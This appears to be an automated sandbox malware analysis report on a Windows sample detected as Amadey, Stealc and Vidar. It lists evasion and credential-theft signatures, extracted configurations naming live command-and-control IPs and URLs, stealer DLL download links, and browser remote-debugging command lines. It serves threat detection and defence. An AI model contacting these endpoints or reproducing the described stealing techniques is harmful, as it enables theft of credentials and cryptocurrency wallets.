Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561964
MD5:	6467f0b3f7c25edc1259d28371015177
SHA1:	3fbde0653380909d0a4a35c032c9fe80131c0925
SHA256:	32ebf905a6ed43b5e163ba71f7a836fd3b6d2f866c18294278cb86e85ec01a3c
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1680 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6467F0B3F7C25EDC1259D28371015177)

chrome.exe (PID: 7092 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3092 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=1996,i,7598340641640299778,11731327301432506273,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8108 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7780 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2132,i,11324850078765124720,12567170462925455737,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 3276 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCBFBKFIDHI.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsCBFBKFIDHI.exe (PID: 8160 cmdline: "C:\Users\user\DocumentsCBFBKFIDHI.exe" MD5: ADD4BF165F7138D46D9FB140A1237B9B)

skotes.exe (PID: 1200 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: ADD4BF165F7138D46D9FB140A1237B9B)

msedge.exe (PID: 2504 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7296 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8768 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6628 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8804 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6848 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8740 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4804 --field-trial-handle=1976,i,9557250745815057177,7435731605409669520,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8344 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: ADD4BF165F7138D46D9FB140A1237B9B)

skotes.exe (PID: 5424 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: ADD4BF165F7138D46D9FB140A1237B9B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2572476247.00000000015BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000003.3247584079.0000000004920000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.2630932532.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2055271175.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000002.3280697655.0000000000501000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2605857590.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2671335593.0000000000501000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.2562219017.0000000005210000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2650396881.0000000000971000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2570783490.00000000007C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.2646312422.0000000000501000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 1680	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 1680	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1680	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1680	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
25.2.skotes.exe.500000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.500000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.DocumentsCBFBKFIDHI.exe.970000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.500000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1680, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7092, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T23:24:06.585965+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T23:24:06.464739+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T23:24:06.924967+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T23:24:08.506896+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T23:24:07.054709+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T23:24:06.005997+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T23:26:06.724528+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50079	185.215.113.43	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T23:24:09.228052+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-24T23:24:31.949577+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-24T23:24:33.949974+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-24T23:24:35.371300+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-24T23:24:36.498113+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-24T23:24:40.771045+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-24T23:24:41.937408+0100	2803304	3	Unknown Traffic	192.168.2.5	49760	185.215.113.206	80	TCP
2024-11-24T23:24:48.835722+0100	2803304	3	Unknown Traffic	192.168.2.5	49885	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllP	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllz	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php7l	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpU7	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllF	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dlll	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlln	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllt	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000019.00000003.3247584079.0000000004920000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.1680.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C506C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C506C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.11:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.11:443 -> 192.168.2.5:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50054 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2611648980.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2611648980.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50079 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 22:24:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 22:24:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 